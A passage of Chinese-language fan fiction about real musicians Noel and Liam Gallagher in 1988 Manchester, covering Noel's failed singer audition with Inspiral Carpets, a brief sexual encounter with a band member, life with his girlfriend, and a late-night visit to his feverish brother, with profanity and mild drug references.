“我恨你,你都不给我答案。”利亚姆等了好久也没有等到哥哥的回答,眼睛立刻朦胧了。
“Noely,你能最后一次亲亲我吗?”
12. 面试主唱1
诺尔的心纠在一块儿,皱着眉有些迟疑的问,“Pandon? ”
利亚姆从诺尔的怀里退开,“Never mind. Just kidding. ”
他有些琢磨不透Rkid的心思了,如果有一天他醒来被告知利亚姆是个女孩,他绝不会感到奇怪。相反,他会这样想:我就知道Rkid有问题。他还会很同意这样的观点。
“Fuck off. ”诺尔依旧皱着眉,嘴里嘟囔着,他穿好衣服后,来到厨房吃了顿早餐就去上班了。
一天的工作真的很乏味,工厂的仓库不是太大,诺尔谈得上霸占了整个仓库,这让他无聊透了,他只能通过写歌表达自己的心情,虽然有些歌词看上去很荒谬,但诺尔很痴迷这样做,他受够了歌唱生活中的昏暗,他需要让自己的歌词注入点奇妙的活力。
当下班了,他会去露易丝那里溜达一圈,如果露易丝没有下班的话,他就会在她工作的地方等她一起。谈不上浪漫,这只是诺尔能做到的,他会在在节假日的时候给他的女孩买首饰,鲜花,首饰和巧克力,露易丝很喜欢他这样做。但诺尔只是做到一切符合女孩的要求,虽然他觉得这些毫无意义。
时间过得很快,当有露易丝陪伴的时候。在他有了女孩的时间里,他回家过夜的次数越来越少了,从一开始一周回家过夜五次到现在一周回家过夜一次?诺尔有些不确定了,他几乎住在他的女友家了,这让他的家人冒出不赞同的呼声。他的妈妈劝着诺尔多多回家,他的大哥只是持有无所谓的态度,而他的弟弟对他这种情况表示愤怒。
当他的女孩知道了这种情况,她向诺尔提出建议,“我们可以一起住,最近我打算搬家,房子已经找好了,怎么样?”
诺尔双手双脚赞同,他可不想回到家里那张小床上,尤其是他还要和有卫生问题的脏孩子利亚姆一起睡时。
诺尔果断搬空了家里卧室属于他的的东西,果断的离开了家,与露易丝共同搬入“Indian House. ”, 当然,这个只是个曼切斯特公寓,你能希望它有多大,公寓位于房子的第二层,空间很充足,足够一对年轻男女住了。
但是,住进漂亮公寓的诺尔总是会不时的想起家里的那个小卧室,想起他搬家时利亚姆留给他的失望敏感愤怒的眼神。
诺尔与Rkid共同住了二十年,他们之间的感情深到超乎人的想象,诺尔没有忘记离开时他快要碎掉的心脏。没有人知道他到底在想什么,他是想逃离家吗?不是。
诺尔想:他也许只是想逃离过去的自已吧,离开远点,会不会让自已好点,他不知道。他唯一知道的就是他需要与Rkid保持一些距离,他需要私人的生存空间,他需要让让彼此喘口气,在他们两人还没有做出令人后悔的事儿之前。
时间:1988年六月,诺尔与露易丝在Indian House已经住了三个月了,在此期间诺尔辞去了他那枯燥乏味的仓库工作。
没有工作的他窝在公寓楼里写歌,直到歌词的草稿已经可以塞满一个箱子,他打算为自己谋求一份有关音乐或者唱片方面的工作。
七月,诺尔得知一只本地乐队在“Alcotra”酒吧招聘主唱,诺尔抱着他的吉他去面试了。
诺尔很紧张的坐在麦克风前,他的声音有些颤抖,他的指尖划出一道和弦。
“你叫诺尔是吗?”面试诺尔的人有Inspiral Carpets(乐队名字)的经纪人Rob Nop和他的四位成员们。
“是的。”诺尔在调着琴弦,低下头回答。
“好的,可以开始了。”Rob Nop与乐队男孩们坐了下来。
“我要表演的曲子是《Help!》。”诺尔的唇抵着麦克风,说到。
披头士乐队的歌曲《Help!》于1965年年7月23日在英国发行 ,这首歌风靡一时,诺尔最爱的歌曲。
蓝色的灯光照在诺尔的身上,将他的脸庞映照出一种别样的冷静与温柔。他轻吐气息,手指开始熟练地拨弄起吉他弦,那熟悉的旋律率先流淌而出,瞬间就填满了整个酒吧的空间。
他的声音在发颤,毕竟这是关乎他能否进入乐队的重要时刻,但随着旋律的推进,他的紧张消失不见了,他沉浸在歌曲所营造的情绪之中,声音也越发稳定。
““Help me if you can, I''m feeling down
And I do appreciate you being ''round
Help me get my feet back on the ground
Won''t you please, please help me……”
诺尔的手指慢慢停歇,歌声也在消失,他抱着吉他起身,望向Rob Nop。
Inspiral Carpets的成员们以审视的态度坐在那里。经纪人Rob Nop微微眯起眼睛,仔细地打量着诺尔,似乎在考量着这个年轻人身上所具备的潜力。终于,他开口了。
“Sorry, 诺尔,你唱的很棒。但是,你不是我们想找的那个人。”
诺尔对本次应聘主唱的机会抱有的希望本就不大,所以得知Rob 拒绝他时,心理也是能接受。
他当场就在他们的面前坐下顺带抽了根烟,在他满心心思看着舞台上的下一个面试者,身边的凳子却被人占了。
“你唱得很棒,兄弟。”一位穿着黄色T恤衫的男人歪着头和他讲话,他看起来和诺尔一般大,他的头发比诺尔的头发还长,已经遮住了他的眼睛。
“我知道我做的很棒,我不需要别人来告诉我。”诺尔眯着眼,将目光撇向他,嘴里虚虚的咬着烟,“你是?”
“我是Inspiral Carpets乐队的键盘手Clint Boon,我们乐队还缺位设备管理员,我想你可以担任,诺尔。”
这个回答可真是出乎诺尔的意料,他绝不会拒绝,他很高兴能有这份工作,诺尔笑着回答,“兄弟,我会很高兴接受这份工作的,谢谢了。”
“不用谢,我们成员们都很喜欢你,你看起来酷极了。”Clint Boon向诺尔手中的烟借了火,将自己指间的香烟也点了。
“哦?”诺尔有些意外,他不觉得自已是很酷的人。他没有酷炫的头发,也没有酷炫的服装,这是很酷的事儿吗?
“我想说的是,你身上有些东西让你很酷,很吸引人。”Clint Boon又补充了一句,他还不如不出声,因为他让气氛变得怪极了。
“Fucking well, 我是被恶魔附身了吗?”诺尔笑了起来,显然不理解Clint在说着什么,“你在和我调情吗?”
诺尔刚说完,身边的男孩轻笑着低下头吸着烟,“Well, 你是很有魅力,我以为……”
“嘿,兄弟,你是想和我玩玩么?”诺尔将手边不知道是谁的酒端过来一口吞下,表情晦涩不明。
“当然,我对你很有兴趣。”Clint
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Boon将腿贴近诺尔,对面的人没有躲开,所以他的手就摸到了诺尔的膝盖上,“我的身材很好,你可以看看?”
哇哦,这个叫Clint Boon的男孩绝对在勾引诺尔,诺尔能感受到Clint的手顺着诺尔的方向摸了过来。
Clint Boon的目的绝不单纯,毕竟诺尔也是这样的男人,他不歧视同性恋群体的任何人,他只是不了解,毕竟每个人都藏得很深。但现在的情况是,如果有漂亮的妹子诱惑你,你会怎么做?诺尔对性别方面不是很在意,这个漂亮的男人对于他来说与女人没什么区别,所以,诺尔很愿意这样做,给他屎一样的生活来点激情。
此时,诺尔的脑子想法在突进,如果他拒绝,他的工作机会肯定会泡汤了。更重要的是诺尔有女朋友,他的露易丝还在等着他回去,可是他不想放弃这份来之不易的工作,现在的他还是个失业中的穷鬼,音乐就是他的一切,他想从事音乐相关的工作,所以……
“我会被列入乐队设备管理人员的名单,是吗?”诺尔站了起来,将Clint的烟夺过来吸上一口。然后,他弯着腰逼近这个叫Clint Boon的键盘手。
当诺尔皱着眉不笑的时候,他看起来绝对的冷静与不符合少年的威严,很有压迫感,这让Clint坐在椅子上的屁股挪远了点儿,他在紧张的吞咽口水。
“当然,我保证。”他站起来直面诺尔,他们间的距离近到Clint可以看清诺尔漂亮的蓝色眼睛,卷翘很长的睫毛,还有些歪的鼻梁。
“Shit, 那我们就做起来吧,反正我不会损失任何的便宜。”诺尔有些嘴硬的回答,他根本就不知道怎么与男人做, fuck ass ? Clint 倒是很帅气的男人。
Clint带着他来到Alcotra酒吧楼上乐队所住的房间,诺尔从来没有来过这般私密楼层,他对这些房间感到好奇。
当他的屁股坐在白色床铺上时,诺尔有些迟疑,感觉他在做很愚蠢的事情。
“嘿,兄弟,你的朋友会进来吗?”诺尔看着房间的另一张床发问。
“不,我的朋友不会来,他们知道我们做些什么。”Clint带着羞涩的笑容,身上的衣服已经一丝不剩,走过来坐到诺尔旁边。
好吧,这个男人是有预谋的,诺尔揣掉自已的鞋脱掉上衣来到床上,身边的Clint立刻就扑了上来,舔着诺尔的下巴。
诺尔撑着Clint的肩膀扭过头去,皱着眉轻吐,“You naughty , 不要留下痕迹,听到了吗?”
刚说完,诺尔能感受到身上的人放轻了动作,他深吸一口气,将自已的嘴巴贴了上去。
诺尔可不是温柔的人,不带有对着露易丝一般的克制的温柔,他对着这位相同性别的人进行疯狂的啃噬,与他的舌头猛烈的交缠在一块,吻得自己都有些窒息,他松开嘴,为他们之间带来缝隙。
“Fuck off, 继续,诺尔。”身上的Clint这样说着,他健美且诱惑力的身体神一般使得诺尔有了兴趣。
他抓着Clint棕色的头发再次亲吻,只是他的吻在往下移动,他使了十足的劲终于将Clint从身上掀开。诺尔在床上不喜欢处于弱势的一方,所以他迎着Clint惊讶的目光撬开他的腿覆上去。
高大的Clint绝对想不到他撩的对象是那么强势,毕竟诺尔矮小的个子很难让人相信他是掌控者,可怜的Clint,他的情动的身体完全僵住了,用他那无措脆弱的表情望着诺尔。
13. 面试主唱2
“Are you top? ”
“Of course. ”诺尔歪头回他,手上脱裤子的动作没有停,看不出他有一丁点儿急迫感。诺尔可是位很“传统”的男人,他难以想象自已被人压制,这会让他很没有安全感。
“停一下,我的男孩。 ”Clint抬起手止住诺尔的动作,嘴角挂着些许尴尬且以理服人的微笑,“我好像没有说出我的需求,我比你高,比你更强壮,我并不觉得你能比我做的更好。”
诺尔眯着眼督向他,嘴里“啧”了一声,浑身透出“fuck you”很不赞同的样子。
床上的二人就维持着这样的姿势,僵持不下于五分钟,诺尔没辙了,从Clint的身上起来,将褪到脚边的裤子扒拉到腰间。
Clint也在灰溜溜的站在床边穿衣服,表情有些不好意思,他低声说道,“现在不行, 我没有做好任何准备。”
这就有些尴尬了,他当然没有做好当接受方的准备,他绝不会想到他这次在床上是被“fuck”的那一个,撸了把头发,抬眸,“Well, man, 我们还好吗?”
“当然。”诺尔穿上他的鞋,很无所谓的抖着腿。
“Ok, 我们应该下去参加派对,我想我们的乐队迎来了新的主唱,我们需要见见那个新人。”Clint傍在诺尔的肩膀上,带着他往楼下走。
“Well ,fuck it, 我都可以。”诺尔应了他,从口袋中掏出烟点着,他需要去楼下喝点酒,他的心情糟糕透了,谁能想到这么抓马的屁事儿能发生在诺尔身上,给他整得有些蒙圈了。
带着他来到吧台前的Clint亲密的靠着诺尔的肩膀,谈着Inspiral Carpets乐队中的屁事儿,他表现的就像楼上发生的事儿并不存在,没有一点儿异常与诺尔腻歪,这Clint是个“人物”。
诺尔大口喝着金酒,边勾着微笑边安静的听着,时不时将指间的烟抽上一口。他的心思完全飞到了露易丝的身边,想告诉女友他获得了设备管理员的工作,虽然不在他的预料之中;他想窝在床上给他亲爱的妈妈打电话,报备他的日常;他需要和他的混蛋弟弟打电话,好好的骂他一顿,把他弄哭。
Clint说话的声音停住了,他在和一位穿着朋克衬衫的男人在打招呼,“嘿,Martyn,我们的的新人主唱在哪?我需要打个招呼。”
那个Martyn离开了,找来了已经喝的半醉的Tom Hingley。
Martyn扶着他,向Clint介绍,“这个帅气的男孩以后就是我们的新主唱了,他叫Tom Hingley,我想我们可以叫他Tom ,他已经喝的没有意识了。”
刚说完,那个帅气的卷毛男孩Tom Hingley举起他的酒杯向新朋友致意,“哈,boys,我可没有醉,我还可以喝,cheers!”
诺尔与Clint向Tom举杯,Clint喝了一口向诺尔介绍,“这位朋克朋友是我们乐队的贝斯手,叫Martyn Walsh,你可以叫他Mart,他喜欢别人这么叫他。”
诺尔点了头,与新朋友Mart碰杯。
Mart干了酒出声,“你就是诺尔,我的朋友Clint很喜欢你,他向Rob推荐你当设备管理员。”他说完补充,“我喜欢你,我们会成为好朋友,让我们沉入酒精和女孩中吧。”
诺尔在吵闹的音乐中扬起了声音,“Mart,well?是的。”
诺尔说完就大笑了起来,Mart拉着一位身材火辣的黑发女孩在亲吻,新主唱Tom这个男孩已经醉倒在吧台,拉着身边的酒友在聊着什么。
“他们很疯狂,是吗?”Clint重回到诺尔的身边,抵着诺尔的耳边道。
“Fooking hell, 这真的很疯狂。”诺尔将手中的酒一口吞下,提起杯子给Clint展示空的杯底,补充,“我喜欢他们,他们是多么的真实和有趣。”
Clint 嘴角微微上扬,眼神中透着一丝狡黠,“没错,这种疯狂才是生活该有的样子。不过,你可别被他们带得太离谱,毕竟我们还有正事儿要干。”
诺尔挑了挑眉,“正事儿?你是说接下来的巡回演出?”
Clint又露出他那肆意的笑容,“是的,兄弟,以后可有得忙了,此时好好享受吧。”
诺尔扬起眉毛,语气兴奋,“兄弟,那是肯定的,有这样一群伙伴在,每场演出都会像一场盛大的狂欢。”
此时,Mart 结束了与黑发女孩的热吻,大笑着朝诺尔和 Clint 走来,“你们两个靠在一起亲吻吗?”
Clint笑着捶了他一拳,“滚一边去,别乱说,我们的新朋友诺尔是很害羞的人。”
在一边的诺尔听到了,将酒杯磕在桌边,大声骂了一句,“我不是个害羞的人,你个混蛋。”
Clint在旁边对着诺尔微笑,向诺尔挑衅的歪头。
Mart立在诺尔手边咧开嘴,露出一口洁白的牙齿,他的眼睛很狭长,有一份独特的魅力,“那是当然,我们会让每一个观众都沉浸在这种疯狂的氛围里,让他们感受到前所未有的震撼。”
再说到他们的主唱Tom Hingley,他坐在吧台那边,醉倒的 Tom 还在含糊不清地和酒友说着一些关于音乐梦想和对未来演出的憧憬,尽管话语已经不太连贯,但从他那充满激情的眼神中可以看出他对即将到来的巡回演出的期待。
诺尔看着这一切,心中涌起一股兴奋,他知道,这个团队虽然看似散漫、疯狂,但在音乐的道路上,他们有着共同的目标和坚定的信念,诺尔爱死他们一切的,他很期待之后巡演发生的一切。
突然,酒吧里年轻男孩发出欢呼,一位穿着褐色夹克的男人站在桌子上,这个人是Inspiral Carpets乐队的经纪人叫做Rob Nop,也是面试诺尔的男人。
“好了,今晚就先到这儿吧,大家都回去好好休息,下周开始我们要为巡回演出做最后的准备了。”Rob Nop提高了音量,对着在场的所有乐队成员喊道。
男孩们抱在一起欢呼,诺尔深吸了一口气,他受到这种气氛鼓舞,搂着Clint在原地蹦跶,他已经迫不及待地想要踏上巡回演出的旅程,去书写他新的开始。
狂欢夜时间结束,Clint给诺尔再次点了一杯酒,是诺尔喜欢的杰克丹尼。在这么一个短短的夜晚,Clint已经对诺尔有足够的了解,他喜欢这位矮个子朋友,他甚至邀请诺尔去他的出租屋过夜,想要给他展示他收藏的乐器。
诺尔怎么说的呢?他当然拒绝了,因为他已经知晓他的新朋友对他有兴趣,他可不想让这份兴趣进行得太过于急切,毕竟诺尔有位女孩,他能向这位朋友告知吗?不,此刻他不会的。
诺尔将最后的一口酒闷下,拉着Clint给他寻找团队的经理,他需要确保自已在乐队员工的名单上,要不然今天一切都是屎。在经理的手册上预留自己的姓名和号码之后,诺尔心中才松懈下来,醉意也涌上脑袋。
已经凌晨一点多了,诺尔没有逗留的心思,但是他认识的新朋友们太过于热情,他们太喜欢这位性格很正经却满口说着异常幽默异常犀利笑话的诺尔。
Graham Lambert,Inspiral Carpets乐队最初的创建者之一,担任吉他手。他有着与诺尔相似的发型,他有着一颗想要与诺尔亲近的心。
他与乐队的其他成员包括Clint(键盘手)、Mart(贝斯手)、Craig Gill(鼓手)、Tom(主唱),这些年轻男孩们开了一辆面包车带着诺尔来到当地乐队的排练室,给诺尔弹奏乐队的单曲。
那位蘑菇头吉他手充分的展示了不同寻常的琴技,在得知诺尔也会弹琴后,他兴奋的情绪更加激昂,他视诺尔为他的兄弟,分享他的吉他给诺尔弹奏,与诺尔一同抱着吉他摇摆。
Inspiral Carpets乐队里的鼓手也
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就是Craig Gill,是乐队最经典的人物,他是最为安静的一个。在房间里诺尔最喜欢与他聊天,喜欢与他待在一块观看整个排练室发生的一切。
诺尔与他们待了一阵,满肚子的酒精和满肺的weed已经让他的身体很疲惫了,所以他结束这场“战斗”,打了一辆黑色的汽车,回到了Indian House。
诺尔站在公寓门口,拿着钥匙打开了门。他惊讶的发现露易丝还没有睡觉,而且除了桌子的那一块儿区域,其他地方一片漆黑。
他的女孩正窝在窗前的办公桌边,只穿着一身吊带睡盘着腿坐在椅子上,桌上放着冒着黄光的台灯,手里拿着尺在丈量着什么,不用说,她在完成她的设计稿工作,露易丝有时候会这样,这就是当设计师的要付出的代价。
诺尔将房间的灯打开,开关发出“咔哒”的声音以及房间的亮光惊扰到了正在创作的女孩。
“诺尔,你回来了!”露易丝光着脚从椅子上站起来,向门边的诺尔摆出拥抱的姿势,她的眼睛被灯光晃得眯起来。
就算露易丝背着光,诺尔也能够清晰的感知到露易丝对他回家的高兴,她提供的情绪价值是诺尔想要的生活。
诺尔放下钥匙,快速的来到露易丝的身边,将她从椅子上抱下来,“Lou,我很抱歉我回来的那么迟。”
“诺尔,这没什么。相反,你回来的正好,我的作品已经完成了!”露易丝激动的将桌上放着的设计稿摆在诺尔的眼前,与他分享喜悦,“我想,就是因为我能感知到你回家了,所以我的作品就迫不及待诞生了。”
露易丝边说边在诺尔的脸上来上几口亲吻。
“So weet. 你的创作也很漂亮,你会是位厉害的设计师。”诺尔歪着脑袋回应女友的亲吻,顺手将露易丝的碎发拂到耳后。
“你的面试怎么样?一切还好吗?”
“No, 不太好。”诺尔补充,“但是我争取到了别的工作,当乐队的设备管理员。我想,这很不错,我不应该拒绝。”
露易丝微微皱起眉头,似乎在思考着什么,片刻后她说道:“乐队的设备管理员?这听起来很有趣。”
诺尔无奈摇着头叹了口气,“是的,虽然不在我的意料之中,但是我觉得在乐队里也许能有新的机遇。”
露易丝点了点头,“嗯,我能理解。只要你觉得开心就好,毕竟你一直都很热爱音乐相关的东西。”
诺尔笑了笑,轻轻握住露易丝的手,“有你支持我,我很开心。而且这个乐队的成员都很不错,我今天和他们相处得很愉快,他们还带我去了排练室,给我展示他们的单曲。”
露易丝好奇地问:“那他们的音乐怎么样?”诺尔眼睛亮了起来,“很棒!他们很有才华,尤其是那个吉他手Graham,琴技很不错。”
露易丝看着诺尔兴奋的样子,也跟着笑了起来,“那我真为你高兴,诺尔。”
诺尔将露易丝搂入怀中,“我也是,Lou。”
“好了,我的身上全是酒精和烟草的味道,我需要去洗个澡。”
“我们可以一起,我整个晚上都在工作,我同样需要淋浴。”
露易丝拉住诺尔的衣摆让他停住,将身上的衣服脱光便拉着诺尔进了浴室。
被拉进浴室的诺尔带着狡黠的笑容深深的望着露易丝,他喜欢露易丝的直白和真实,这很好。他的女孩长得并不是像模特那般出众,但诺尔的眼神就无法从她的身上移开,他被露易丝身上明媚和不可说的气质所吸引,这正是他所想拥有的,独属于他的人。
他回过神来,与露易丝一同贴在一起淋雨,与对方好好的腻歪在一起,当他的嘴唇与露易丝的嘴唇贴在一起时,他的内心在颤抖,此时此刻他是爱这个女孩的,但感情这玩意儿,谁还能知道呢。
洗漱完的两人钻到被子里,听着对方的呼吸声睡了去。
但是这场睡眠并没有持续得太久……
“铃铃铃……”外面电视柜旁的座机在疯狂的响起。
14. 深夜电话
睡在里侧的露易丝轻哼了一声,她翻了个身,踹了诺尔一脚,“babe,你去接电话。”
“我的天,哪个混蛋会在凌晨打电话,dickhead!”诺尔边骂边起身。
他的头发看起来糟透了,眼底的乌青能吓死任何活着的物种,他捂着被女友踹的屁股下床接了电话。
他的脑袋晕乎乎的依靠在墙上,他才睡了两个小时,上帝啊,谁能拯救他一刻钟。
诺尔拿起电话,声音藏不住他的怒火与困意,“Who? ”
“It''s me. ”
电话那边传来,Indian House的电话质量很不好,传来的声音很失真,断断续续的,这让诺尔很痛苦,他听不出电话那边是谁,所以他再次问。
“Repeat!”
下一秒,诺尔能听出电话那边的声音了,带着悠长的浓重曼切斯特口音。
“是我,利亚姆,Rkid。”
哦,原来是Rkid,当然是他!要不然谁还会像白痴一样在凌晨给人打电话。
“Fuck off, Liam ,我挂了。 ”诺尔骂了一句,在他想把电话挂掉的时刻,Rkid阻止了他。
“别挂我电话,让我说完。”利亚姆的声音强硬。
“当然,你接下来想说什么?”诺尔的心情莫名的烦躁,他急于脱离这种情况。
“我很想你,Rkid,我受不了了,你为什么要离开我们。”
失真的声音并没有遮住利亚姆的失落情绪,诺尔可以想象出Rkid呆呆的表情,全身散发着颓废气息。
诺尔有些无措的咬着手,当然,对面的Rkid看不到诺尔内心的纠结,“然后呢?你想让我回来?”
“当然,你可是我的兄弟,你应该和我待在一块儿,然后你可以陪我玩儿,由你带我去酒吧!”
“No,我不想这么做了,我知道你什么意思。但是,我现在已经搬出来了,我和露易丝在一起很好。”
诺尔说完这句话后,电话那头陷入了长久的沉默,只有电流的滋滋声在听筒里回响。
过了好一会儿,就当诺尔等得不耐烦的时候,利亚姆带着哭腔以及沙哑的声音传来:“可是我现在很难受,我发烧了,脑袋像要炸开一样,我一直在想你。你不在,这里的一切都变得很糟糕。”
诺尔心中一紧,对弟弟的那份感情还是在心底泛起涟漪。“你发烧了?妈妈有带你去诊所吗?”他的语气不自觉地柔和了一些。
“带了,开了好多药,但是我觉得这些药片并不管用,我要死了。”利亚姆的声音微弱又可怜。
诺尔看了一眼还在床上的露易丝,心中纠结起来。他知道他现在离开去找利亚姆,露易丝肯定会不高兴,他的女孩并不是很喜欢Rkid。
“Rkid……我现在并不能为你做些什么,你可以挂掉电话躺在床上睡觉。”诺尔这般说道,此时他换了姿势,坐在柜子上。
“你已经一个月没回家了,只有这个该死的电话才能让我和你有关联,我讨厌这样,我讨厌你的女朋友。”利亚姆再次补充,“你是我的哥哥,那位露易丝把你从我的身边夺走,我讨厌她,她就是个女巫,是个坏女人…bich…”
诺尔干笑一声,利亚姆对女友的恶言恶语击破了他眼底的温柔,他仰着头,一言不发,好像在等待着什么。
利亚姆的声音从电话里消失了,好似意识到自已说错话了,“Noely?还在么,你怎么不说话?”
诺尔在咬着牙,他的嗓子要冒火了,如果Rkid在身边,他肯定会打死他。
“你特么让我说什么,我安静在听一个神经病念叨已经是个奇迹了。要不然我怎么样?和你这个混蛋一起骂我的女孩,我是疯了吗?”
利亚姆被诺尔的怒吼吓得一哆嗦,电话里只剩下他微弱的呼吸声。过了片刻,他带着一丝僵硬说道:“这……不是我的错,不是吗?我只是太想你了,是你的
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错。”
诺尔深吸一口气,努力让自己平静下来,“你就是这样的混蛋。”
“我知道错了,诺尔,我真的很难受,我只是控制不住自己的情绪,你知道的。所以,我想要你回家,我们会好好相处。”利亚姆他依旧坚定的相信诺尔会答应,因为他知道Rkid爱他,Rkid不会不管他。
诺尔陷入了安静,利亚姆总是跟在自己身后,不管做什么都要和自己在一起。他们虽然也会争吵,但家人却是最珍贵的。此刻,他真的能狠下心不管生病且懊悔的弟弟吗?
“我会的,正好我需要见见妈妈。”诺尔最终还是松了口,他对弟弟的爱意只是让他做些很蠢的事儿。
“等着,别再作妖。”诺尔在对他蠢弟弟叮嘱。
但下一秒,他果断挂了电话,在黑暗静静坐了一会儿。一边是女友,一边是家人,你会选哪一方?
诺尔心中早有答案,虽然他对女友的感情是真切的,但他的心早已经偏向家人那一方了,家人一直是诺尔无法割舍的存在。
他站起身,缓缓走向床边,看着露易丝安静的睡脸,心中些许愧疚。他知道如果自己离开,可能会伤害到她,但他又无法对利亚姆的请求视而不见。
最终,诺尔在女友耳边轻语,“Lou ,我得和你说件事。利亚姆他发烧了,病得很重,他刚刚打电话来求我去看看他。我知道这可能会让你不高兴,但他是我弟弟,我不能不管。”
露易丝睡眼惺忪地看着诺尔,沉默了一会儿,“你去吧,我知道你们兄弟之间的感情。你明天会回来嘛?”
诺尔在亲吻露易丝的耳朵,“谢谢你,Lou. 我会尽快回来的。”
他匆匆穿上衣服,再次踏入夜色中,他打了一辆车。Fooking hell , 在晚上打车的价格真的很贵,这让诺尔不爽透了。
十几公里的路程,坐车很快,不到十分钟诺尔就到了家门口。付了钱,进入他已经一个月没有踏足的房子。
15. 腻歪的气氛1
“Rkid?”
诺尔一进门就看到一个单薄人影窝在地上,他疑惑问出声。在没有得到回答后,他上前在地上摸了摸,Rkid还不是太蠢,睡在床垫上。
房间的电视在无声的放着,正巧在播放早间六点新闻。已经六点了?诺尔真不相信时间过得那么快,他需要让自己的蠢弟弟回到舒服的床上,诺尔也能补个觉。
“嘿,Rkid!”诺尔再次喊了一声,看着地上的身影有所动作,他举起的手放下了,要是Rkid再不回应,诺尔的巴掌将会打在他的脸上。
“Noel?”利亚姆眯着眼,呆呆着望着,“我没想到你会那么快回来。”
“OK,你闭嘴吧,让我们回到床上去。”
诺尔边说边在沙发旁边寻找电视遥控器,将电视关了。
“Well …”利亚姆样子看起来比宿醉的诺尔还糟糕,他耸着肩来到哥哥身边,很没有精神的挽着诺尔的手,跟着他来到卧室。
“现在,睡吧。”诺尔拉上被子给Rkid盖上。
“谢谢你,诺尔。”利亚姆占了大半的床铺向诺尔扬起嘴角,他的脑袋蹭着枕头在干咳,“Rkid,我会死吗?”
“我想不会。如果你想死我可以效劳,我会第一个冲上去弄死你。”诺尔也躺了下来,分出心思回答弟弟愚蠢的问题,带着极大的对着Rkid的恶意。
“这很好,我会接受的。”利亚姆背过身去,让诺尔捉摸不透他的神情。
“你还好?”诺尔歪头疑惑问。若是平时诺尔这样怼他,Rkid会和他激烈对骂起来。现在?有些不正常。
“没有,我很好,我觉得我会活一百年。”利亚姆转过脑袋瓜子,撇着嘴。
“你怎么知道,你有什么灵力吗?”
“因为我无所不能,我就是能活一百岁,我不仅要活一百岁,我还要活一千岁。”
“你是个疯子。好了,小疯子,快点睡觉吧。”诺尔话锋一转,“要不然……给你打晕,给我睡觉。”
利亚姆听到诺尔的话,缩了缩脖子,嘟囔着:“你可真凶,诺尔。”不过他还是乖乖地闭上了眼睛。
诺尔看着利亚姆,无奈地叹了口气,他知道弟弟虽然有时候很混蛋且无理取闹,但内心其实很依赖自己。
过了一会儿,利亚姆的呼吸渐渐平稳,似乎是睡着了。诺尔却没有立刻入睡,他望着天花板,思绪有些飘散。
他宿醉的脑袋要爆炸了,心情也有些不平静。他想着他睡醒后,需要告知家人刚得到新工作,他会变得很忙碌,很有可能极少回家,这个场面是妈妈以及依赖他的弟弟绝不想看到的。
诺尔脱了外套,钻进被子里,与利亚姆贴在一起躺着。利亚姆这小子身上烫得很,像怀里抱了个火炉,与他一同盖了被子身上都有些闷出汗了。
诺尔伸出手在Rkid毛茸茸的脑袋上扒拉一把,果然,摸出一手热汗。他将被子横掀,只盖住二人的肚子以下。好了,睡觉吧,希望醒后一睁开眼睛就能看到妈妈。
诺尔从床上醒来,惊奇的发现房间内空无一人。Rk
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id醒那么早?这真是个怪事儿。
诺尔昏沉地蜷缩在床上,脑袋仿若炸裂般剧痛,喉咙干哑。昨夜还是太放肆了,此刻,他在宿醉的折磨下,脑袋更加疼痛。
他穿好衣服走出去,外面强烈的光线如同一把锐利的剑,直直地刺进这混沌的空间。诺尔脑袋里像是有无数个小鼓手在疯狂敲打着,宿醉的疼痛被这强光一激,愈发强烈。
他有些痛苦地皱起眉头,双手下意识地去遮挡,却又觉得全身无力,仿佛连抬手这样简单的动作都要耗尽他所有的力气。
“诺尔,你还好吗?”佩吉担忧的走过来询问。
“我没事,现在是什么时间?”诺尔接了杯水在餐桌边上坐了下来,左手无力的撑着脑袋,看起来懒洋洋的。
“还差二十分钟到十一点,你想吃些什么?”
“什么都可以,妈妈。”诺尔的左手倒下了,他将脑袋磕在桌子边上,佩吉看出儿子的窘迫,端了杯茶放在他的手边。
“喝些茶吧,我去买些生活用品,和利亚姆待在一会儿,我马上回来。”佩吉在穿衣服,她需要出门为周末添置物品。
“OK,妈妈,反正我这个样子也干不出什么坏事。”诺尔指着自已的脑袋,努力撑起一个笑容,后在妈妈满不赞同的目光下又将脑袋磕在桌边。
在听到一道关门的声音后,诺尔站起身在房间内踱步。Rkid将他那个又破又小的床垫移了位置,正巧对着窗户,整个人瘫在阳光洒落的地方。这个场面有些过于美好了,诺尔有些不想打破它。
16. 腻歪的气氛2
诺尔的目光落在 Rkid 身上,利亚姆静静地躺在那儿,他的额头有几缕被汗水浸湿的发丝,微微卷曲着贴在皮肤上。他的眼睛轻闭着,长长的睫毛在眼睑下投出一小片阴影,漂亮极了。他的嘴唇有些干裂,泛着淡淡的白色,失去了往日的红润,可这丝毫不影响他整体的美感,反而让他有着脆弱的美感。
诺尔知道对Rkid的感情很复杂,他内心嫉妒他。嫉妒他自出生以来就能够获得全家人的喜爱与关注,嫉妒他从没有过操蛋父亲家暴的侵扰;
与此同时,诺尔也很欣赏他的直白和真诚以及对家人不掺杂任何利益的爱意。
诺尔真的对这个小子又爱又恨,当他们又是一对亲兄弟时,这让他们的关系更加复杂了。但,诺尔又不得不承认,Rkid 就像一颗独特的星辰,在他的身边晃荡了十七年,虽然诺尔很烦他,但Rkid是他的兄弟,他只能忍受。
“跟你说个事儿。”诺尔坐在垫子上。
“什么事儿?”利亚姆发出类似鸭子的嗓音,很难听。
“我得到了新的工作,在一支乐队里当设备管理员。”诺尔顿了顿,“这与仓库的工作相比,我觉得很不错。”
“Yeah …”利亚姆揉着眼角,有气无力的回答,“你想干嘛就干嘛,我不会干涉你。”
“妈妈也会这样想的,她应该不会认为我在浪费我的时间,是么?”
“妈妈肯定会支持你的。就算她不赞同,你也会去做。”
“当然。”这很难不赞同,当诺尔决定做什么,他就会去做,不管别人怎么说。
“Rkid,等你病好了,你可以来我们乐队看演出。”
“嗯哼,不用你说。”利亚姆撑着身子坐起来,抱着他的膝盖。
他看起来萎靡极了,平日他就像猴子一样在诺尔的身边蹦跶,突然这般安静,诺尔还有些不适应。
所以诺尔打算自己干些事儿,他将电视机旁边的收音机打开,在电流“滋滋……”声后,一首音乐响起,史密斯乐队的1986年发行的单曲《Sheila Take A Bow》,具有浓烈的华丽摇滚风格。
“Oi, 这首歌听起来不错,是新歌吗?”利亚姆又躺回垫子上,像只懒洋洋的puppy。
“不,这是86年的歌,你个白痴。”诺尔笑出声,带着嘲笑。
“你知道的,我对狗屁音乐根本不感兴趣,我只对足球感兴趣。”
利亚姆向他的哥哥竖了个中指。但是,诺尔可不打算惯着他,他将他的脚踢向Rkid的屁股,带着一句咒骂,“Fuck off, you jerk. ”
